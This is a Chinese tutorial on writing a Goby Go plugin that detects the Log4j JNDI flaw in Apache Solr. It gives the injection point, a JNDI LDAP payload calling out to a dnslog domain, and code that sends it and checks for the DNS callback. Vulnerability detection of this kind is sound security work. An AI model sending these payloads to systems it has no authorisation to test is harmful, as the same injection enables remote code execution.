千家信息网

如何使用goby检测log4j漏洞

发表于:2025-01-17 作者:千家信息网编辑
千家信息网最后更新 2025年01月17日,今天小编给大家分享一下如何使用goby检测log4j漏洞的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们
千家信息网最后更新 2025年01月17日如何使用goby检测log4j漏洞

今天小编给大家分享一下如何使用goby检测log4j漏洞的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。

一、前言

前段时间的Log4j漏洞影响很广泛,网上已经公开了很多地方的利用方式,而平时用goby较多,就想利用goby的指纹识别对目标定向检测。Goby可以通过编写go文件,来实现一些高级的漏洞检测或利用,例如dnslog检测漏洞

二、漏洞复现

首先了解到漏洞触发点是action参数,

/solr/admin/collections?action=

通过dnslog验证到靶机是存在漏洞。

payload:${jndi:ldap://24x44x.dnslog.cn/a}

图一:发送payload

图二:dnslog有回显

三、goby poc编写

Goby是通过golang编写的,而一些漏洞检测场景(比如dnslog验证),goby自身的JSON 格式无法满足这一需求,需采用 Golang 编写漏洞代码。

expJson部分

1、首先通过goby poc管理,添加poc,按照goby官方漏洞描述模版说明填写并保存。

图三:自定义poc

2、在goby安装目录的\golib\exploits\user文件夹打开生成的Apache_Solr_Log4j_JNDI_RCE.json文件,如果不需要exp则需把HasExp字段的true改为false。

图四:生成的json文件

3、将生成的json代码(去掉外围大括号)复制到goby漏洞检测golang模板的expJson := {xxx}中。

package exploitsimport (//根据需求导入相应的包"fmt""git.gobies.org/goby/goscanner/goutils""git.gobies.org/goby/goscanner/jsonvul""git.gobies.org/goby/goscanner/godclient""git.gobies.org/goby/goscanner/scanconfig""git.gobies.org/goby/httpclient""strings""time")func init() {expJson := `{expJson部分}`ExpManager.AddExploit(NewExploit(goutils.GetFileName(),expJson,nil, //自定义POC函数部分。nil, //自定义EXP函数, 没有EXP,就写nil,))}

goby漏洞检测golang模板

自定义POC函数部分

1、根据官方文档说明

自定义 POC 由一个函数构成,该函数参数分为

jsonvul.JsonVul、httpclient.FixUrl、scanconfig.SingleScanConfig 结构体组成,通过响应 bool 来确认漏洞是否存在。函数模版如下:

func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {return false}

需要通过编写检测漏洞是否存在的golang代码,检测到漏洞存在则返回true,不存在返回false。

图五:自定义 POC函数部分

checkStr := goutils.RandomHexString(4)

RandomHexString函数:随机生成指定长度的字符串

checkUrl, isDomain := godclient.GetGodCheckURL(checkStr)

GetGodCheckURL函数:生成DNSLog地址

uri := "/solr/admin/collections?action=$%7Bjndi:ldap://$%7BhostName%7D." + checkUrl + "/a%7D"

漏洞触发点拼接payload

cfg := httpclient.NewGetRequestConfig(uri) //NewGetRequestConfig:构建GET请求自定义配置,返回RequestConfigcfg.VerifyTls = false //忽略ssl验证cfg.FollowRedirect = false //不跟随跳转cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") //自定义请求头httpclient.DoHttpRequest(u, cfg) //DoHttpRequest:构建自定义请求配置,发送请求,返回请求结果HttpResponse

构建并发送自定义配置的GET请求,返回请求结果HttpResponse

图六:通过代理抓取到goby发送payload的get请求

return godclient.PullExists(checkStr, time.Second*15)

在一段时间内检测dnslog是否有HTTP请求成功,如果成功返回true,否则返回false。

图七:通过代理抓取到goby检测dnslog是否有HTTP请求成功

图八:漏洞检测成功

注意点:

  • 1、expJson部分GobyQuery查询规则,要保证能匹配到对应目录资产

  • 2、导入goby,发现加载不出poc,需要去检查代码的问题

  • 3、使用goby官方的函数需通过import导入对应的包

以上就是"如何使用goby检测log4j漏洞"这篇文章的所有内容,感谢各位的阅读!相信大家阅读完这篇文章都有很大的收获,小编每天都会为大家更新不同的知识,如果还想学习更多的知识,请关注行业资讯频道。

漏洞 检测 函数 部分 生成 成功 代码 文件 知识 篇文章 官方 配置 验证 内容 参数 时间 模板 模版 目录 结果 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 锐捷宽带服务器名称怎么设置 网络技术教案说课模板 数据库服务器怎么下载 大学生 网络安全 对策 嘉兴随邮宝网络技术有限公司 恶魔之魂重制版数据库 2019天津市网络安全大赛 网络安全法民法总则 杭州通信网络技术收费标准 微信停车软件开发 ActiveMQ里的数据库 独立服务器要不要固态硬盘 vba行数据提取数据库 同步两个表格的数据库数据 怎么抓取网络数据作为数据库 深圳达内软件开发学院 2021年网络技术挑战总决赛 事业单位网络安全管理条例 深圳4年软件开发经验 方舟生存手游怎么连上服务器 石家庄力帆网络技术有限公司 数据库句柄无效 用户信息表数据库的代码 博山采购软件开发 黑客网络安全渗透 宿迁电信5g杯网络安全竞赛 如何将图片放入到数据库中 失落的方舟一直服务器验证失败 服务器为什么没有收到订单 互联网金融网络技术风险
0